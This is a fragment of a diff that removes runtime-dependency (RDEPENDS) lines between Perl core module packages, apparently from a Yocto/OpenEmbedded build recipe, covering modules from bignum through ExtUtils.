-RDEPENDS_perl-module-bignum += "perl-module-bigint"
-RDEPENDS_perl-module-bignum += "perl-module-exporter"
-RDEPENDS_perl-module-bignum += "perl-module-math-bigfloat"
-RDEPENDS_perl-module-bignum += "perl-module-math-bigfloat-trace"
-RDEPENDS_perl-module-bignum += "perl-module-math-bigint"
-RDEPENDS_perl-module-bignum += "perl-module-math-bigint-trace"
-RDEPENDS_perl-module-bignum += "perl-module-overload"
-RDEPENDS_perl-module-bignum += "perl-module-strict"
-RDEPENDS_perl-module-bignum += "perl-module-warnings"
-RDEPENDS_perl-module-bigrat += "perl-module-bigint"
-RDEPENDS_perl-module-bigrat += "perl-module-exporter"
-RDEPENDS_perl-module-bigrat += "perl-module-math-bigfloat"
-RDEPENDS_perl-module-bigrat += "perl-module-math-bigint"
-RDEPENDS_perl-module-bigrat += "perl-module-math-bigint-trace"
-RDEPENDS_perl-module-bigrat += "perl-module-math-bigrat"
-RDEPENDS_perl-module-bigrat += "perl-module-overload"
-RDEPENDS_perl-module-bigrat += "perl-module-strict"
-RDEPENDS_perl-module-bigrat += "perl-module-warnings"
-RDEPENDS_perl-module-blib += "perl-module-cwd"
-RDEPENDS_perl-module-b += "perl-module-exporter"
-RDEPENDS_perl-module-b += "perl-module-xsloader"
-RDEPENDS_perl-module-b-showlex += "perl-module-b"
-RDEPENDS_perl-module-b-showlex += "perl-module-b-concise"
-RDEPENDS_perl-module-b-showlex += "perl-module-b-terse"
-RDEPENDS_perl-module-b-showlex += "perl-module-strict"
-RDEPENDS_perl-module-b-terse += "perl-module-b"
-RDEPENDS_perl-module-b-terse += "perl-module-b-concise"
-RDEPENDS_perl-module-b-terse += "perl-module-strict"
-RDEPENDS_perl-module-b-xref += "perl-module-b"
-RDEPENDS_perl-module-b-xref += "perl-module-config"
-RDEPENDS_perl-module-b-xref += "perl-module-strict"
-RDEPENDS_perl-module-bytes += "perl-module-bytes-heavy"
-RDEPENDS_perl-module--charnames += "perl-module-bytes"
-RDEPENDS_perl-module-charnames += "perl-module-bytes"
-RDEPENDS_perl-module-charnames += "perl-module--charnames"
-RDEPENDS_perl-module--charnames += "perl-module-re"
-RDEPENDS_perl-module-charnames += "perl-module-re"
-RDEPENDS_perl-module--charnames += "perl-module-strict"
-RDEPENDS_perl-module-charnames += "perl-module-strict"
-RDEPENDS_perl-module--charnames += "perl-module-warnings"
-RDEPENDS_perl-module-charnames += "perl-module-warnings"
-RDEPENDS_perl-module-class-struct += "perl-module-exporter"
-RDEPENDS_perl-module-class-struct += "perl-module-strict"
-RDEPENDS_perl-module-class-struct += "perl-module-warnings-register"
-RDEPENDS_perl-module-compress-raw-bzip2 += "perl-module-bytes "
-RDEPENDS_perl-module-compress-raw-bzip2 += "perl-module-constant"
-RDEPENDS_perl-module-compress-raw-bzip2 += "perl-module-dynaloader"
-RDEPENDS_perl-module-compress-raw-bzip2 += "perl-module-exporter"
-RDEPENDS_perl-module-compress-raw-bzip2 += "perl-module-strict "
-RDEPENDS_perl-module-compress-raw-bzip2 += "perl-module-warnings "
-RDEPENDS_perl-module-compress-raw-bzip2 += "perl-module-xsloader"
-RDEPENDS_perl-module-compress-raw-zlib += "perl-module-bytes "
-RDEPENDS_perl-module-compress-raw-zlib += "perl-module-constant"
-RDEPENDS_perl-module-compress-raw-zlib += "perl-module-dynaloader"
-RDEPENDS_perl-module-compress-raw-zlib += "perl-module-exporter"
-RDEPENDS_perl-module-compress-raw-zlib += "perl-module-strict "
-RDEPENDS_perl-module-compress-raw-zlib += "perl-module-warnings "
-RDEPENDS_perl-module-compress-raw-zlib += "perl-module-xsloader"
-RDEPENDS_perl-module-compress-zlib += "perl-module-bytes "
-RDEPENDS_perl-module-compress-zlib += "perl-module-compress-raw-zlib"
-RDEPENDS_perl-module-compress-zlib += "perl-module-constant"
-RDEPENDS_perl-module-compress-zlib += "perl-module-exporter"
-RDEPENDS_perl-module-compress-zlib += "perl-module-io-compress-base-common"
-RDEPENDS_perl-module-compress-zlib += "perl-module-io-compress-gzip"
-RDEPENDS_perl-module-compress-zlib += "perl-module-io-compress-gzip-constants"
-RDEPENDS_perl-module-compress-zlib += "perl-module-io-handle "
-RDEPENDS_perl-module-compress-zlib += "perl-module-io-uncompress-gunzip"
-RDEPENDS_perl-module-compress-zlib += "perl-module-strict "
-RDEPENDS_perl-module-compress-zlib += "perl-module-warnings "
-RDEPENDS_perl-module-config-extensions += "perl-module-config"
-RDEPENDS_perl-module-config-extensions += "perl-module-exporter"
-RDEPENDS_perl-module-config-extensions += "perl-module-strict"
-RDEPENDS_perl-module-config-perl-v += "perl-module-config"
-RDEPENDS_perl-module-config-perl-v += "perl-module-exporter"
-RDEPENDS_perl-module-config-perl-v += "perl-module-strict"
-RDEPENDS_perl-module-config-perl-v += "perl-module-vars"
-RDEPENDS_perl-module-config-perl-v += "perl-module-warnings"
-RDEPENDS_perl-module-constant += "perl-module-strict"
-RDEPENDS_perl-module-constant += "perl-module-warnings-register"
-RDEPENDS_perl-module-corelist += "perl-module-list-util"
-RDEPENDS_perl-module-corelist += "perl-module-corelist"
-RDEPENDS_perl-module-corelist += "perl-module-strict"
-RDEPENDS_perl-module-corelist += "perl-module-version"
-RDEPENDS_perl-module-corelist += "perl-module-warnings"
-RDEPENDS_perl-module-cpan += "perl-module-b"
-RDEPENDS_perl-module-cpan += "perl-module-config"
-RDEPENDS_perl-module-cpan += "perl-module-cwd"
-RDEPENDS_perl-module-cpan += "perl-module-data-dumper"
-RDEPENDS_perl-module-cpan += "perl-module-dirhandle"
-RDEPENDS_perl-module-cpan += "perl-module-errno"
-RDEPENDS_perl-module-cpan += "perl-module-exporter"
-RDEPENDS_perl-module-cpan += "perl-module-extutils-makemaker"
-RDEPENDS_perl-module-cpan += "perl-module-extutils-manifest"
-RDEPENDS_perl-module-cpan += "perl-module-fcntl"
-RDEPENDS_perl-module-cpan += "perl-module-file-basename"
-RDEPENDS_perl-module-cpan += "perl-module-file-copy"
-RDEPENDS_perl-module-cpan += "perl-module-file-find"
-RDEPENDS_perl-module-cpan += "perl-module-filehandle"
-RDEPENDS_perl-module-cpan += "perl-module-file-path"
-RDEPENDS_perl-module-cpan += "perl-module-json-pp"
-RDEPENDS_perl-module-cpan += "perl-module-lib"
-RDEPENDS_perl-module-cpan += "perl-module-net-ping"
-RDEPENDS_perl-module-cpan += "perl-module-overload"
-RDEPENDS_perl-module-cpan += "perl-module-posix"
-RDEPENDS_perl-module-cpan += "perl-module-safe"
-RDEPENDS_perl-module-cpan += "perl-module-strict"
-RDEPENDS_perl-module-cpan += "perl-module-sys-hostname"
-RDEPENDS_perl-module-cpan += "perl-module-term-readline"
-RDEPENDS_perl-module-cpan += "perl-module-text-parsewords"
-RDEPENDS_perl-module-cpan += "perl-module-text-wrap"
-RDEPENDS_perl-module-cpan += "perl-module-time-local"
-RDEPENDS_perl-module-cpan += "perl-module-vars"
-RDEPENDS_perl-module-cpan += "perl-module-warnings"
-RDEPENDS_perl-module-cwd += "perl-module-errno"
-RDEPENDS_perl-module-cwd += "perl-module-exporter"
-RDEPENDS_perl-module-cwd += "perl-module-strict"
-RDEPENDS_perl-module-cwd += "perl-module-xsloader"
-RDEPENDS_perl-module-data-dumper += "perl-module-config"
-RDEPENDS_perl-module-data-dumper += "perl-module-constant"
-RDEPENDS_perl-module-data-dumper += "perl-module-exporter"
-RDEPENDS_perl-module-data-dumper += "perl-module-xsloader"
-RDEPENDS_perl-module-db-file += "perl-module-dynaloader"
-RDEPENDS_perl-module-db-file += "perl-module-exporter"
-RDEPENDS_perl-module-db-file += "perl-module-fcntl"
-RDEPENDS_perl-module-db-file += "perl-module-strict "
-RDEPENDS_perl-module-db-file += "perl-module-strict"
-RDEPENDS_perl-module-db-file += "perl-module-tie-hash"
-RDEPENDS_perl-module-db-file += "perl-module-warnings"
-RDEPENDS_perl-module-dbm-filter-compress += "perl-module-strict"
-RDEPENDS_perl-module-dbm-filter-compress += "perl-module-warnings"
-RDEPENDS_perl-module-dbm-filter-encode += "perl-module-strict"
-RDEPENDS_perl-module-dbm-filter-encode += "perl-module-warnings"
-RDEPENDS_perl-module-dbm-filter-int32 += "perl-module-strict"
-RDEPENDS_perl-module-dbm-filter-int32 += "perl-module-warnings"
-RDEPENDS_perl-module-dbm-filter-null += "perl-module-strict"
-RDEPENDS_perl-module-dbm-filter-null += "perl-module-warnings"
-RDEPENDS_perl-module-dbm-filter += "perl-module-strict"
-RDEPENDS_perl-module-dbm-filter += "perl-module-warnings"
-RDEPENDS_perl-module-dbm-filter-utf8 += "perl-module-strict"
-RDEPENDS_perl-module-dbm-filter-utf8 += "perl-module-warnings"
-RDEPENDS_perl-module-db += "perl-module-strict"
-RDEPENDS_perl-module-deprecate += "perl-module-strict"
-RDEPENDS_perl-module-deprecate += "perl-module-warnings"
-RDEPENDS_perl-module-devel-peek += "perl-module-exporter"
-RDEPENDS_perl-module-devel-peek += "perl-module-xsloader"
-RDEPENDS_perl-module-devel-ppport += "perl-module-file-find"
-RDEPENDS_perl-module-devel-ppport += "perl-module-getopt-long"
-RDEPENDS_perl-module-devel-ppport += "perl-module-strict"
-RDEPENDS_perl-module-devel-ppport += "perl-module-vars"
-RDEPENDS_perl-module-devel-selfstubber += "perl-module-selfloader"
-RDEPENDS_perl-module-diagnostics += "perl-module-config"
-RDEPENDS_perl-module-diagnostics += "perl-module-getopt-std"
-RDEPENDS_perl-module-diagnostics += "perl-module-strict"
-RDEPENDS_perl-module-diagnostics += "perl-module-text-tabs"
-RDEPENDS_perl-module-digest-base += "perl-module-mime-base64"
-RDEPENDS_perl-module-digest-base += "perl-module-strict"
-RDEPENDS_perl-module-digest-base += "perl-module-vars"
-RDEPENDS_perl-module-digest-file += "perl-module-digest"
-RDEPENDS_perl-module-digest-file += "perl-module-exporter"
-RDEPENDS_perl-module-digest-file += "perl-module-strict"
-RDEPENDS_perl-module-digest-file += "perl-module-vars"
-RDEPENDS_perl-module-digest-md5 += "perl-module-digest-base"
-RDEPENDS_perl-module-digest-md5 += "perl-module-exporter"
-RDEPENDS_perl-module-digest-md5 += "perl-module-strict"
-RDEPENDS_perl-module-digest-md5 += "perl-module-vars"
-RDEPENDS_perl-module-digest-md5 += "perl-module-xsloader"
-RDEPENDS_perl-module-digest += "perl-module-strict"
-RDEPENDS_perl-module-digest += "perl-module-vars"
-RDEPENDS_perl-module-digest-sha += "perl-module-digest-base"
-RDEPENDS_perl-module-digest-sha += "perl-module-dynaloader"
-RDEPENDS_perl-module-digest-sha += "perl-module-exporter"
-RDEPENDS_perl-module-digest-sha += "perl-module-fcntl"
-RDEPENDS_perl-module-digest-sha += "perl-module-integer"
-RDEPENDS_perl-module-digest-sha += "perl-module-strict"
-RDEPENDS_perl-module-digest-sha += "perl-module-vars"
-RDEPENDS_perl-module-digest-sha += "perl-module-warnings"
-RDEPENDS_perl-module-digest-sha += "perl-module-xsloader"
-RDEPENDS_perl-module-dynaloader += "perl-module-config"
-RDEPENDS_perl-module-encode-alias += "perl-module-constant"
-RDEPENDS_perl-module-encode-alias += "perl-module-encode"
-RDEPENDS_perl-module-encode-alias += "perl-module-exporter"
-RDEPENDS_perl-module-encode-alias += "perl-module-strict"
-RDEPENDS_perl-module-encode-alias += "perl-module-warnings"
-RDEPENDS_perl-module-encode-byte += "perl-module-encode"
-RDEPENDS_perl-module-encode-byte += "perl-module-strict"
-RDEPENDS_perl-module-encode-byte += "perl-module-warnings"
-RDEPENDS_perl-module-encode-byte += "perl-module-xsloader"
-RDEPENDS_perl-module-encode-cjkconstants += "perl-module-exporter"
-RDEPENDS_perl-module-encode-cjkconstants += "perl-module-strict"
-RDEPENDS_perl-module-encode-cjkconstants += "perl-module-warnings"
-RDEPENDS_perl-module-encode-cn-hz += "perl-module-encode"
-RDEPENDS_perl-module-encode-cn-hz += "perl-module-parent"
-RDEPENDS_perl-module-encode-cn-hz += "perl-module-strict"
-RDEPENDS_perl-module-encode-cn-hz += "perl-module-utf8"
-RDEPENDS_perl-module-encode-cn-hz += "perl-module-vars"
-RDEPENDS_perl-module-encode-cn-hz += "perl-module-warnings"
-RDEPENDS_perl-module-encode-cn += "perl-module-encode"
-RDEPENDS_perl-module-encode-cn += "perl-module-encode-cn-hz"
-RDEPENDS_perl-module-encode-cn += "perl-module-strict"
-RDEPENDS_perl-module-encode-cn += "perl-module-warnings"
-RDEPENDS_perl-module-encode-cn += "perl-module-xsloader"
-RDEPENDS_perl-module-encode-config += "perl-module-strict"
-RDEPENDS_perl-module-encode-config += "perl-module-warnings"
-RDEPENDS_perl-module-encode-ebcdic += "perl-module-encode"
-RDEPENDS_perl-module-encode-ebcdic += "perl-module-strict"
-RDEPENDS_perl-module-encode-ebcdic += "perl-module-warnings"
-RDEPENDS_perl-module-encode-ebcdic += "perl-module-xsloader"
-RDEPENDS_perl-module-encode-encoder += "perl-module-constant"
-RDEPENDS_perl-module-encode-encoder += "perl-module-encode"
-RDEPENDS_perl-module-encode-encoder += "perl-module-exporter"
-RDEPENDS_perl-module-encode-encoder += "perl-module-overload"
-RDEPENDS_perl-module-encode-encoder += "perl-module-strict"
-RDEPENDS_perl-module-encode-encoder += "perl-module-warnings"
-RDEPENDS_perl-module-encode-encoding += "perl-module-constant"
-RDEPENDS_perl-module-encode-encoding += "perl-module-encode"
-RDEPENDS_perl-module-encode-encoding += "perl-module-encode-mime-name"
-RDEPENDS_perl-module-encode-encoding += "perl-module-strict"
-RDEPENDS_perl-module-encode-encoding += "perl-module-warnings"
-RDEPENDS_perl-module-encode-gsm0338 += "perl-module-encode"
-RDEPENDS_perl-module-encode-gsm0338 += "perl-module-parent"
-RDEPENDS_perl-module-encode-gsm0338 += "perl-module-strict"
-RDEPENDS_perl-module-encode-gsm0338 += "perl-module-utf8"
-RDEPENDS_perl-module-encode-gsm0338 += "perl-module-vars"
-RDEPENDS_perl-module-encode-gsm0338 += "perl-module-warnings"
-RDEPENDS_perl-module-encode-guess += "perl-module-bytes"
-RDEPENDS_perl-module-encode-guess += "perl-module-constant"
-RDEPENDS_perl-module-encode-guess += "perl-module-encode"
-RDEPENDS_perl-module-encode-guess += "perl-module-encode-unicode"
-RDEPENDS_perl-module-encode-guess += "perl-module-parent"
-RDEPENDS_perl-module-encode-guess += "perl-module-strict"
-RDEPENDS_perl-module-encode-guess += "perl-module-warnings"
-RDEPENDS_perl-module-encode-jp-h2z += "perl-module-encode-cjkconstants"
-RDEPENDS_perl-module-encode-jp-h2z += "perl-module-strict"
-RDEPENDS_perl-module-encode-jp-h2z += "perl-module-vars"
-RDEPENDS_perl-module-encode-jp-h2z += "perl-module-warnings"
-RDEPENDS_perl-module-encode-jp-jis7 += "perl-module-bytes"
-RDEPENDS_perl-module-encode-jp-jis7 += "perl-module-encode"
-RDEPENDS_perl-module-encode-jp-jis7 += "perl-module-encode-cjkconstants"
-RDEPENDS_perl-module-encode-jp-jis7 += "perl-module-encode-jp-h2z"
-RDEPENDS_perl-module-encode-jp-jis7 += "perl-module-parent"
-RDEPENDS_perl-module-encode-jp-jis7 += "perl-module-strict"
-RDEPENDS_perl-module-encode-jp-jis7 += "perl-module-warnings"
-RDEPENDS_perl-module-encode-jp += "perl-module-encode"
-RDEPENDS_perl-module-encode-jp += "perl-module-encode-jp-jis7"
-RDEPENDS_perl-module-encode-jp += "perl-module-strict"
-RDEPENDS_perl-module-encode-jp += "perl-module-warnings"
-RDEPENDS_perl-module-encode-jp += "perl-module-xsloader"
-RDEPENDS_perl-module-encode-kr-2022-kr += "perl-module-encode"
-RDEPENDS_perl-module-encode-kr-2022-kr += "perl-module-encode-cjkconstants"
-RDEPENDS_perl-module-encode-kr-2022-kr += "perl-module-parent"
-RDEPENDS_perl-module-encode-kr-2022-kr += "perl-module-strict"
-RDEPENDS_perl-module-encode-kr-2022-kr += "perl-module-warnings"
-RDEPENDS_perl-module-encode-kr += "perl-module-encode"
-RDEPENDS_perl-module-encode-kr += "perl-module-encode-kr-2022-kr"
-RDEPENDS_perl-module-encode-kr += "perl-module-strict"
-RDEPENDS_perl-module-encode-kr += "perl-module-warnings"
-RDEPENDS_perl-module-encode-kr += "perl-module-xsloader"
-RDEPENDS_perl-module-encode-mime-header-iso-2022-jp += "perl-module-constant"
-RDEPENDS_perl-module-encode-mime-header-iso-2022-jp += "perl-module-encode-cjkconstants"
-RDEPENDS_perl-module-encode-mime-header-iso-2022-jp += "perl-module-parent"
-RDEPENDS_perl-module-encode-mime-header-iso-2022-jp += "perl-module-strict"
-RDEPENDS_perl-module-encode-mime-header-iso-2022-jp += "perl-module-warnings"
-RDEPENDS_perl-module-encode-mime-header += "perl-module-encode"
-RDEPENDS_perl-module-encode-mime-header += "perl-module-mime-base64"
-RDEPENDS_perl-module-encode-mime-header += "perl-module-parent"
-RDEPENDS_perl-module-encode-mime-header += "perl-module-strict"
-RDEPENDS_perl-module-encode-mime-header += "perl-module-warnings"
-RDEPENDS_perl-module-encode-mime-name += "perl-module-strict"
-RDEPENDS_perl-module-encode-mime-name += "perl-module-warnings"
-RDEPENDS_perl-module-encode += "perl-module-bytes"
-RDEPENDS_perl-module-encode += "perl-module-constant"
-RDEPENDS_perl-module-encode += "perl-module-encode-alias"
-RDEPENDS_perl-module-encode += "perl-module-encode-config"
-RDEPENDS_perl-module-encode += "perl-module-encode-configlocal-pm"
-RDEPENDS_perl-module-encode += "perl-module-encode-mime-name"
-RDEPENDS_perl-module-encode += "perl-module-exporter"
-RDEPENDS_perl-module-encode += "perl-module-parent"
-RDEPENDS_perl-module-encode += "perl-module-storable"
-RDEPENDS_perl-module-encode += "perl-module-strict"
-RDEPENDS_perl-module-encode += "perl-module-warnings"
-RDEPENDS_perl-module-encode += "perl-module-xsloader"
-RDEPENDS_perl-module-encode-symbol += "perl-module-encode"
-RDEPENDS_perl-module-encode-symbol += "perl-module-strict"
-RDEPENDS_perl-module-encode-symbol += "perl-module-warnings"
-RDEPENDS_perl-module-encode-symbol += "perl-module-xsloader"
-RDEPENDS_perl-module-encode-tw += "perl-module-encode"
-RDEPENDS_perl-module-encode-tw += "perl-module-strict"
-RDEPENDS_perl-module-encode-tw += "perl-module-warnings"
-RDEPENDS_perl-module-encode-tw += "perl-module-xsloader"
-RDEPENDS_perl-module-encode-unicode += "perl-module-encode"
-RDEPENDS_perl-module-encode-unicode += "perl-module-parent"
-RDEPENDS_perl-module-encode-unicode += "perl-module-strict"
-RDEPENDS_perl-module-encode-unicode += "perl-module-warnings"
-RDEPENDS_perl-module-encode-unicode += "perl-module-xsloader"
-RDEPENDS_perl-module-encode-unicode-utf7 += "perl-module-encode"
-RDEPENDS_perl-module-encode-unicode-utf7 += "perl-module-mime-base64"
-RDEPENDS_perl-module-encode-unicode-utf7 += "perl-module-parent"
-RDEPENDS_perl-module-encode-unicode-utf7 += "perl-module-re"
-RDEPENDS_perl-module-encode-unicode-utf7 += "perl-module-strict"
-RDEPENDS_perl-module-encode-unicode-utf7 += "perl-module-warnings"
-RDEPENDS_perl-module-encoding += "perl-module-config"
-RDEPENDS_perl-module-encoding += "perl-module-constant"
-RDEPENDS_perl-module-encoding += "perl-module-encode"
-RDEPENDS_perl-module-encoding += "perl-module-filter-util-call"
-RDEPENDS_perl-module-encoding += "perl-module-i18n-langinfo"
-RDEPENDS_perl-module-encoding += "perl-module-posix"
-RDEPENDS_perl-module-encoding += "perl-module-strict"
-RDEPENDS_perl-module-encoding += "perl-module-utf8"
-RDEPENDS_perl-module-encoding += "perl-module-warnings"
-RDEPENDS_perl-module-encoding-warnings += "perl-module-strict"
-RDEPENDS_perl-module-encoding-warnings += "perl-module-warnings"
-RDEPENDS_perl-module-english += "perl-module-exporter"
-RDEPENDS_perl-module-env += "perl-module-config"
-RDEPENDS_perl-module-env += "perl-module-tie-array"
-RDEPENDS_perl-module-errno += "perl-module-exporter"
-RDEPENDS_perl-module-errno += "perl-module-strict"
-RDEPENDS_perl-module-experimental += "perl-module-strict"
-RDEPENDS_perl-module-experimental += "perl-module-version"
-RDEPENDS_perl-module-experimental += "perl-module-warnings"
-RDEPENDS_perl-module-exporter-heavy += "perl-module-exporter"
-RDEPENDS_perl-module-exporter-heavy += "perl-module-strict"
-RDEPENDS_perl-module-exporter += "perl-module-exporter-heavy"
-RDEPENDS_perl-module-extutils-cbuilder-base += "perl-module-config"
-RDEPENDS_perl-module-extutils-cbuilder-base += "perl-module-cwd"
-RDEPENDS_perl-module-extutils-cbuilder-base += "perl-module-dynaloader"
-RDEPENDS_perl-module-extutils-cbuilder-base += "perl-module-extutils-mksymlists"
-RDEPENDS_perl-module-extutils-cbuilder-base += "perl-module-file-basename"
-RDEPENDS_perl-module-extutils-cbuilder-base += "perl-module-file-temp"
-RDEPENDS_perl-module-extutils-cbuilder-base += "perl-module-ipc-cmd"
-RDEPENDS_perl-module-extutils-cbuilder-base += "perl-module-strict"
-RDEPENDS_perl-module-extutils-cbuilder-base += "perl-module-text-parsewords"
-RDEPENDS_perl-module-extutils-cbuilder-base += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-cbuilder += "perl-module-file-basename"
-RDEPENDS_perl-module-extutils-cbuilder += "perl-module-file-path"
-RDEPENDS_perl-module-extutils-cbuilder += "perl-module-strict"
-RDEPENDS_perl-module-extutils-cbuilder += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-cbuilder-platform-aix += "perl-module-extutils-cbuilder-platform-unix"
-RDEPENDS_perl-module-extutils-cbuilder-platform-aix += "perl-module-strict"
-RDEPENDS_perl-module-extutils-cbuilder-platform-aix += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-cbuilder-platform-android += "perl-module-config"
-RDEPENDS_perl-module-extutils-cbuilder-platform-android += "perl-module-extutils-cbuilder-platform-unix"
-RDEPENDS_perl-module-extutils-cbuilder-platform-android += "perl-module-strict"
-RDEPENDS_perl-module-extutils-cbuilder-platform-android += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-cbuilder-platform-cygwin += "perl-module-extutils-cbuilder-platform-unix"
-RDEPENDS_perl-module-extutils-cbuilder-platform-cygwin += "perl-module-strict"
-RDEPENDS_perl-module-extutils-cbuilder-platform-cygwin += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-cbuilder-platform-darwin += "perl-module-extutils-cbuilder-platform-unix"
-RDEPENDS_perl-module-extutils-cbuilder-platform-darwin += "perl-module-strict"
-RDEPENDS_perl-module-extutils-cbuilder-platform-darwin += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-cbuilder-platform-dec-osf += "perl-module-extutils-cbuilder-platform-unix"
-RDEPENDS_perl-module-extutils-cbuilder-platform-dec-osf += "perl-module-strict"
-RDEPENDS_perl-module-extutils-cbuilder-platform-dec-osf += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-cbuilder-platform-os2 += "perl-module-extutils-cbuilder-platform-unix"
-RDEPENDS_perl-module-extutils-cbuilder-platform-os2 += "perl-module-strict"
-RDEPENDS_perl-module-extutils-cbuilder-platform-os2 += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-cbuilder-platform-unix += "perl-module-extutils-cbuilder-base"
-RDEPENDS_perl-module-extutils-cbuilder-platform-unix += "perl-module-strict"
-RDEPENDS_perl-module-extutils-cbuilder-platform-unix += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-cbuilder-platform-vms += "perl-module-config"
-RDEPENDS_perl-module-extutils-cbuilder-platform-vms += "perl-module-extutils-cbuilder-base"
-RDEPENDS_perl-module-extutils-cbuilder-platform-vms += "perl-module-strict"
-RDEPENDS_perl-module-extutils-cbuilder-platform-vms += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-cbuilder-platform-windows-bcc += "perl-module-strict"
-RDEPENDS_perl-module-extutils-cbuilder-platform-windows-bcc += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-cbuilder-platform-windows-gcc += "perl-module-strict"
-RDEPENDS_perl-module-extutils-cbuilder-platform-windows-gcc += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-cbuilder-platform-windows-msvc += "perl-module-strict"
-RDEPENDS_perl-module-extutils-cbuilder-platform-windows-msvc += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-cbuilder-platform-windows += "perl-module-extutils-cbuilder-base"
-RDEPENDS_perl-module-extutils-cbuilder-platform-windows += "perl-module-file-basename"
-RDEPENDS_perl-module-extutils-cbuilder-platform-windows += "perl-module-io-file"
-RDEPENDS_perl-module-extutils-cbuilder-platform-windows += "perl-module-strict"
-RDEPENDS_perl-module-extutils-cbuilder-platform-windows += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-command-mm += "perl-module-exporter"
-RDEPENDS_perl-module-extutils-command-mm += "perl-module-extutils-command"
-RDEPENDS_perl-module-extutils-command-mm += "perl-module-extutils-install"
-RDEPENDS_perl-module-extutils-command-mm += "perl-module-getopt-long"
-RDEPENDS_perl-module-extutils-command-mm += "perl-module-strict"
-RDEPENDS_perl-module-extutils-command-mm += "perl-module-test-harness"
-RDEPENDS_perl-module-extutils-command-mm += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-command += "perl-module-exporter"
-RDEPENDS_perl-module-extutils-command += "perl-module-file-copy"
-RDEPENDS_perl-module-extutils-command += "perl-module-file-find"
-RDEPENDS_perl-module-extutils-command += "perl-module-file-path"
-RDEPENDS_perl-module-extutils-command += "perl-module-strict"
-RDEPENDS_perl-module-extutils-command += "perl-module-vars"
-RDEPENDS_perl-module-extutils-constant-base += "perl-module-constant"
-RDEPENDS_perl-module-extutils-constant-base += "perl-module-extutils-constant-utils"
-RDEPENDS_perl-module-extutils-constant-base += "perl-module-strict"
-RDEPENDS_perl-module-extutils-constant-base += "perl-module-text-wrap"
-RDEPENDS_perl-module-extutils-constant-base += "perl-module-vars"
-RDEPENDS_perl-module-extutils-constant += "perl-module-exporter"
-RDEPENDS_perl-module-extutils-constant += "perl-module-extutils-constant-proxysubs"
-RDEPENDS_perl-module-extutils-constant += "perl-module-extutils-constant-utils"
-RDEPENDS_perl-module-extutils-constant += "perl-module-extutils-constant-xs"
-RDEPENDS_perl-module-extutils-constant += "perl-module-filehandle"
-RDEPENDS_perl-module-extutils-constant += "perl-module-strict"
-RDEPENDS_perl-module-extutils-constant += "perl-module-vars"
-RDEPENDS_perl-module-extutils-constant-proxysubs += "perl-module-extutils-constant-utils"
-RDEPENDS_perl-module-extutils-constant-proxysubs += "perl-module-extutils-constant-xs"
-RDEPENDS_perl-module-extutils-constant-proxysubs += "perl-module-strict"
-RDEPENDS_perl-module-extutils-constant-proxysubs += "perl-module-vars"
-RDEPENDS_perl-module-extutils-constant-utils += "perl-module-constant"
-RDEPENDS_perl-module-extutils-constant-utils += "perl-module-posix"
-RDEPENDS_perl-module-extutils-constant-utils += "perl-module-strict"
-RDEPENDS_perl-module-extutils-constant-utils += "perl-module-vars"
-RDEPENDS_perl-module-extutils-constant-xs += "perl-module-data-dumper"
-RDEPENDS_perl-module-extutils-constant-xs += "perl-module-extutils-constant"
-RDEPENDS_perl-module-extutils-constant-xs += "perl-module-extutils-constant-base"
-RDEPENDS_perl-module-extutils-constant-xs += "perl-module-extutils-constant-utils"
-RDEPENDS_perl-module-extutils-constant-xs += "perl-module-strict"
-RDEPENDS_perl-module-extutils-constant-xs += "perl-module-vars"
-RDEPENDS_perl-module-extutils-embed += "perl-module-config"
-RDEPENDS_perl-module-extutils-embed += "perl-module-exporter"
-RDEPENDS_perl-module-extutils-embed += "perl-module-extutils-liblist"
-RDEPENDS_perl-module-extutils-embed += "perl-module-extutils-makemaker"
-RDEPENDS_perl-module-extutils-embed += "perl-module-getopt-std"
-RDEPENDS_perl-module-extutils-embed += "perl-module-strict"
-RDEPENDS_perl-module-extutils-installed += "perl-module-config"
-RDEPENDS_perl-module-extutils-installed += "perl-module-data-dumper"
-RDEPENDS_perl-module-extutils-installed += "perl-module-extutils-makemaker"
-RDEPENDS_perl-module-extutils-installed += "perl-module-extutils-packlist"
-RDEPENDS_perl-module-extutils-installed += "perl-module-file-basename"
-RDEPENDS_perl-module-extutils-installed += "perl-module-file-find"
-RDEPENDS_perl-module-extutils-installed += "perl-module-strict"
-RDEPENDS_perl-module-extutils-installed += "perl-module-vars"
-RDEPENDS_perl-module-extutils-install += "perl-module-autosplit"
-RDEPENDS_perl-module-extutils-install += "perl-module-config"
-RDEPENDS_perl-module-extutils-install += "perl-module-cwd"
-RDEPENDS_perl-module-extutils-install += "perl-module-exporter"
-RDEPENDS_perl-module-extutils-install += "perl-module-extutils-packlist"
-RDEPENDS_perl-module-extutils-install += "perl-module-file-basename"
-RDEPENDS_perl-module-extutils-install += "perl-module-file-compare"
-RDEPENDS_perl-module-extutils-install += "perl-module-file-copy"
-RDEPENDS_perl-module-extutils-install += "perl-module-file-find"
-RDEPENDS_perl-module-extutils-install += "perl-module-file-path"
-RDEPENDS_perl-module-extutils-install += "perl-module-strict"
-RDEPENDS_perl-module-extutils-liblist-kid += "perl-module-cwd"
-RDEPENDS_perl-module-extutils-liblist-kid += "perl-module-extutils-makemaker-config"
-RDEPENDS_perl-module-extutils-liblist-kid += "perl-module-file-basename"
-RDEPENDS_perl-module-extutils-liblist-kid += "perl-module-strict"
-RDEPENDS_perl-module-extutils-liblist-kid += "perl-module-text-parsewords"
-RDEPENDS_perl-module-extutils-liblist-kid += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-liblist += "perl-module-extutils-liblist-kid"
-RDEPENDS_perl-module-extutils-liblist += "perl-module-strict"
-RDEPENDS_perl-module-extutils-makemaker-config += "perl-module-config"
-RDEPENDS_perl-module-extutils-makemaker-config += "perl-module-strict"
-RDEPENDS_perl-module-extutils-makemaker-locale += "perl-module-base"
-RDEPENDS_perl-module-extutils-makemaker-locale += "perl-module-encode"
